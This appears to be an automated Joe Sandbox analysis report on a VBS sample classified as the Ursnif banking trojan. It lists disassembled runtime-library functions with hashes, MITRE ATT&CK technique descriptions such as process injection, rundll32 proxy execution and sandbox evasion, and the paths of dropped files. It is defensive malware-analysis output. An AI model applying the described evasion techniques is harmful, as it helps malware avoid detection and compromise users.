Instruction ID: d9ce064682aae80c8d8687f109e83c2726cad6850be2c3023e4d13325c692f2b
Opcode Fuzzy Hash: 4bb942f0e4f706afa6a167da4a01b7911a6bdcf1456eb8d522460cc55fd52a5d
Instruction Fuzzy Hash: 0801D43B7892126EF326677AAC8962F3AABEF02E787304229F519414F0EF116C409154

Uniqueness

Uniqueness Score: -1.00%

Function 700138C5 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 7001390D
__fassign.LIBCMT ref: 70013AEC
__fassign.LIBCMT ref: 70013B09
WriteFile.KERNEL32(?,7000FF5E,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 70013B51
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 70013B91
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 70013C3D

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 34b49f3e9250847c51f5328c8971d952cfb5e9f1487204c6efe049c795159145
Instruction ID: 29693fd353e1a6a5e3fef727561aa1d161c5bbaba3a35f73ad94fd0d42c7fe87
Opcode Fuzzy Hash: 34b49f3e9250847c51f5328c8971d952cfb5e9f1487204c6efe049c795159145
Instruction Fuzzy Hash: F2D1BD71D042599FDF15CFA8C9809EDBBB5BF49720F24016DE856BB242E730AD86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 7000ECB2 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 7000ED00
_free.LIBCMT ref: 7000EE4C

Strings

*?, xrefs: 7000ECF5

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: e1a1aa32129ba429b7c700d8d5b6ac68a903fb23adde7ba9c70e32a411e22ede
Instruction ID: fd464556ac28505ddd56616ac2565a2a93ed8cc5e0dd226586c6280715aaa50e
Opcode Fuzzy Hash: e1a1aa32129ba429b7c700d8d5b6ac68a903fb23adde7ba9c70e32a411e22ede
Instruction Fuzzy Hash: C2615DB5E0025D9FEB15CFA8C8815EDFBF6EF48624B25816AE845F7300D735AE418B90

Uniqueness

Uniqueness Score: -1.00%

Function 7000F2D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 7000F2D5

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: f28fa3252abee74e7171f4a8ec98e77d48e4efede06f78b84f58b554be6ebc6a
Instruction ID: 0f9b5780119d247b4562d02999d90aa095166b58f6ecd995f8f15535d4361e28
Opcode Fuzzy Hash: f28fa3252abee74e7171f4a8ec98e77d48e4efede06f78b84f58b554be6ebc6a
Instruction Fuzzy Hash: D321FFB1608209BFF7119FA18CC0D6F77AEAF40A787118525F919D7941EB70EE00A7A0

Uniqueness

Uniqueness Score: -1.00%

Function 7000B121 Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 70007520: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 70007552

_free.LIBCMT ref: 7000B230
_free.LIBCMT ref: 7000B247
_free.LIBCMT ref: 7000B264
_free.LIBCMT ref: 7000B27F
_free.LIBCMT ref: 7000B296

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 9dda47f9c9e10c0aadbecf73c3a40d66fa64f023f09dc5ae81a328d2951244d1
Instruction ID: 28ee166964a5fee82ce145c2b75944edfb088f1cf2efe276690ebfa966d1a6f6
Opcode Fuzzy Hash: 9dda47f9c9e10c0aadbecf73c3a40d66fa64f023f09dc5ae81a328d2951244d1
Instruction Fuzzy Hash: 4A518132A00605AFEB22DF69CD41BAE77F6EF58B34F10456DE90AD7250E735EA018B40

Uniqueness

Uniqueness Score: -1.00%

Function 70008863 Relevance: 7.6, APIs: 5, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 700088D1
_free.LIBCMT ref: 700088F1
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 70008952
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 70008964
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 70008971

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: __crt_fast_encode_pointer$_free
String ID:
API String ID: 366466260-0
Opcode ID: d8c5f098d6cb52b236ca23f3d871a3460e5d67e08ab579634feb3412fa54b214
Instruction ID: 73dcf99f964ae74769b98e803fbb23b146fbe8836e721e506cd9c0c5081e6d66
Opcode Fuzzy Hash: d8c5f098d6cb52b236ca23f3d871a3460e5d67e08ab579634feb3412fa54b214
Instruction Fuzzy Hash: A9418436A00204DFEB10DF68C985A6DB7F6FF85B24F154468E556EB341DB31AD01CB81

Uniqueness

Uniqueness Score: -1.00%

Function 70010B58 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 70010B70

Part of subcall function 700074E6: HeapFree.KERNEL32(00000000,00000000,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?), ref: 700074FC
Part of subcall function 700074E6: GetLastError.KERNEL32(?,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?,?), ref: 7000750E

_free.LIBCMT ref: 70010B82
_free.LIBCMT ref: 70010B94
_free.LIBCMT ref: 70010BA6
_free.LIBCMT ref: 70010BB8

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0cb8cd099462d7b6c1b8fee6f074320a94f6b6c94f290930cef78268dd0cba87
Instruction ID: c9226472c91ab0dfcc547379362f362a8f92cef939cf50168b49be3d4110f2bc
Opcode Fuzzy Hash: 0cb8cd099462d7b6c1b8fee6f074320a94f6b6c94f290930cef78268dd0cba87
Instruction Fuzzy Hash: 36F0FF329082019FE624DB69E9C9D2E77EABB11B347714849F48ED7661C774FCC04654

Uniqueness

Uniqueness Score: -1.00%

Function 7000068F Relevance: 6.1, APIs: 4, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__Getcvt.LIBCPMT ref: 700006E7
MultiByteToWideChar.KERNEL32(6FFF97EB,00000009,?,00000002,?,00000000), ref: 70000735
MultiByteToWideChar.KERNEL32(6FFF97EB,00000009,00000001,BA0B7DC0,?,00000000), ref: 700007A7
MultiByteToWideChar.KERNEL32(6FFF97EB,00000009,00000001,00000001,?,00000000), ref: 700007CF

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWide$Getcvt
String ID:
API String ID: 3195005509-0
Opcode ID: 12cda25913675546b9d614e34dd0205d3d978e2a4efc1320c32fc511a927f808
Instruction ID: bcd5115b45d1748fdcf4711da263425cd6ecd0962538c57b3bdf44a2f9d1c856
Opcode Fuzzy Hash: 12cda25913675546b9d614e34dd0205d3d978e2a4efc1320c32fc511a927f808
Instruction Fuzzy Hash: 3B41CD31A04705AFFB228F64C841BAE77FABF41B20F108469E85ADB290D775AC50CB50

Uniqueness

Uniqueness Score: -1.00%

Function 7000EBE3 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 7000F1E8: _free.LIBCMT ref: 7000F1F6

Part of subcall function 7000E90B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,7000A5B5,?,00000000,00000000), ref: 7000E9AD

GetLastError.KERNEL32 ref: 7000EC4B
__dosmaperr.LIBCMT ref: 7000EC52
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 7000EC91
__dosmaperr.LIBCMT ref: 7000EC98

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: f59c7f159cfe6e932075cb7c9c9b3653801b3ca40f59074c85e04867930237c7
Instruction ID: 7a52d576f1b351cb823aa9a9395132ebc6a64d3726c4770afcce4126e0fecd6f
Opcode Fuzzy Hash: f59c7f159cfe6e932075cb7c9c9b3653801b3ca40f59074c85e04867930237c7
Instruction Fuzzy Hash: D72100B160025DAFF7119F668C84C5FB7AFEF40A7C3108529F92AA3140D732EC428BA1

Uniqueness

Uniqueness Score: -1.00%

Function 70009B0D Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e338d556745fcade16cf5f1cb61d5dc75fb2ee4ef1aed5cf014f8907073d8913
Instruction ID: da77f3fd2439d73c09a2a971ee27d7d0ec7e7bcf84796360600d2f6e31803f35
Opcode Fuzzy Hash: e338d556745fcade16cf5f1cb61d5dc75fb2ee4ef1aed5cf014f8907073d8913
Instruction Fuzzy Hash: D821A872A15211AFF7228B65AE85B5E37B9AF41E74F210514EE46A7290DB70DD00C5D0

Uniqueness

Uniqueness Score: -1.00%

Function 700096C6 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 700096CB
_free.LIBCMT ref: 70009728
_free.LIBCMT ref: 7000975E
SetLastError.KERNEL32(00000000,700471A0,000000FF,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 70009769

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 24f29785bfc40782f741f167f49ce870498d525460cf526eda401a703f68ef6e
Instruction ID: 522f914bcadbd7a877f3e0d772b609fb8b4bd3d1076ca93fbc9b6b7be67b83c9
Opcode Fuzzy Hash: 24f29785bfc40782f741f167f49ce870498d525460cf526eda401a703f68ef6e
Instruction Fuzzy Hash: 8F1125332495012FF3029B7A4D89E2F31AE9BC2E71B700228F62D921E2EF229C01D210

Uniqueness

Uniqueness Score: -1.00%

Function 7000981D Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,7000685A,00000000,?,700068D2,00000000,00000000,00000000,00000000,00000000,?,6FFF87EC,6FFFC83A,6FFFC83A), ref: 70009822
_free.LIBCMT ref: 7000987F
_free.LIBCMT ref: 700098B5
SetLastError.KERNEL32(00000000,700471A0,000000FF,?,00000000,?,7000685A,00000000,?,700068D2,00000000,00000000,00000000,00000000,00000000), ref: 700098C0

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: e6b9b7802d6a36c77ca3a7c507f91109beed7485d429741d8669ad84c6f30563
Instruction ID: ce0ab5bc4adfbfbe6fc0919b6e444d351bce5a07d02a91592ba30ae76d1f7e18
Opcode Fuzzy Hash: e6b9b7802d6a36c77ca3a7c507f91109beed7485d429741d8669ad84c6f30563
Instruction Fuzzy Hash: 301108732451012EF312577A4C89E2E35ABAFC3E75B714239F62D923E1EF219C018320

Uniqueness

Uniqueness Score: -1.00%

Function 6FFF6A80 Relevance: 6.1, APIs: 4, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 6FFF6AA8
Concurrency::cancel_current_task.LIBCPMT ref: 6FFF6AD9
new.LIBCMT ref: 6FFF6AE2

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 312d7f25794107d97d3e2d614be0cf6505e1752365e19374d28b4cbe0ecaffe2
Instruction ID: b2c9e28e178e2fb5f67c95ee784d2ad47860813f3c5023f1ef4362302503d1b4
Opcode Fuzzy Hash: 312d7f25794107d97d3e2d614be0cf6505e1752365e19374d28b4cbe0ecaffe2
Instruction Fuzzy Hash: 87214DB0E02108EFDB04DFA8C48179DB7B1EF45314F10C699F415AB251DB74AA86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 7000519E Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 700051B5

Part of subcall function 700057ED: ___BuildCatchObjectHelper.LIBVCRUNTIME ref: 7000581C
Part of subcall function 700057ED: ___AdjustPointer.LIBCMT ref: 70005837

_UnwindNestedFrames.LIBCMT ref: 700051CC
___FrameUnwindToState.LIBVCRUNTIME ref: 700051DE
CallCatchBlock.LIBVCRUNTIME ref: 70005202

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: 9acedb74078e681ed15b5af2be0e17530da3e82682995608ea3d5cfcacaaeb63
Instruction ID: 1faa625efa20b6f6591a1f666628ebf8baffacccd684976c123a9f4677bc2682
Opcode Fuzzy Hash: 9acedb74078e681ed15b5af2be0e17530da3e82682995608ea3d5cfcacaaeb63
Instruction Fuzzy Hash: 4C011332000109AFEF129F55CC02EDF3FBAEF48B65F118018F91862121D372E8A1EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 70015256 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,7000FFCF,00000000,?,?,70014C41,?,00000001,?,00000001,?,70013C9A,00000000,00000000,00000001), ref: 7001526D
GetLastError.KERNEL32(?,70014C41,?,00000001,?,00000001,?,70013C9A,00000000,00000000,00000001,00000000,00000001,?,700141EE,7000FF5E), ref: 70015279

Part of subcall function 7001523F: CloseHandle.KERNEL32(700479D0,70015289,?,70014C41,?,00000001,?,00000001,?,70013C9A,00000000,00000000,00000001,00000000,00000001), ref: 7001524F

___initconout.LIBCMT ref: 70015289

Part of subcall function 70015201: CreateFileW.KERNEL32(70043090,40000000,00000003,00000000,00000003,00000000,00000000,70015230,70014C2E,00000001,?,70013C9A,00000000,00000000,00000001,00000000), ref: 70015214

WriteConsoleW.KERNEL32(?,?,7000FFCF,00000000,?,70014C41,?,00000001,?,00000001,?,70013C9A,00000000,00000000,00000001,00000000), ref: 7001529E

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d37817f9323e742a8a4eeca5c404718a87940582ee7ba96ddd822662fefcd3f0
Instruction ID: 2fa11b5f7b82c1b1b890b7a0d82407d593bd18f5e7f3a4c6bf47a6af3eeae8f2
Opcode Fuzzy Hash: d37817f9323e742a8a4eeca5c404718a87940582ee7ba96ddd822662fefcd3f0
Instruction Fuzzy Hash: D4F09837541215BFDB225F9A9C08E8D3E66FB4A6B1B254410FA2D9A520C7329C609B90

Uniqueness

Uniqueness Score: -1.00%

Function 70005EA6 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 70005EA6
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 70005EAB
___vcrt_initialize_locks.LIBVCRUNTIME ref: 70005EB0

Part of subcall function 7000629E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 700062AF

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 70005EC5

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 45ba72fe4d6bc6601358a4451b23ab019dc587979f9a9de09354cf8480663b79
Instruction ID: da07d141b318197a2ba62a9642c8e5c63325d879fed9e0a20778bcf648305692
Opcode Fuzzy Hash: 45ba72fe4d6bc6601358a4451b23ab019dc587979f9a9de09354cf8480663b79
Instruction Fuzzy Hash: 92C04C3C609F829CFC162AB0A11619F13530F86DB7F9110C1ACD5571075B163A0A25B2

Uniqueness

Uniqueness Score: -1.00%

Function 700082B9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 700082FC, 70008303, 70008339

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: d86e9d9a151d812508c7a0ec2a87812007af96d9c0d4f08ba7d5f38847c7d275
Instruction ID: 41978f620ab2de21acff2d232855ebba2d7afbadfc6778b743a135e808a17e6d
Opcode Fuzzy Hash: d86e9d9a151d812508c7a0ec2a87812007af96d9c0d4f08ba7d5f38847c7d275
Instruction Fuzzy Hash: 764160B1E00214AFE722DB9AC881D9EBBFDFB85F31F10006AE545A7251D7B09A40DB90

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gnAYDP69br2v.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection

Compliance

Spreading

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\adobe.url

C:\Users\user\AppData\Local\Temp\melange.yuv

Static File Info

General

File Icon

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: wscript.exePID: 6536, Parent PID: 3440

General

Chronological Activities

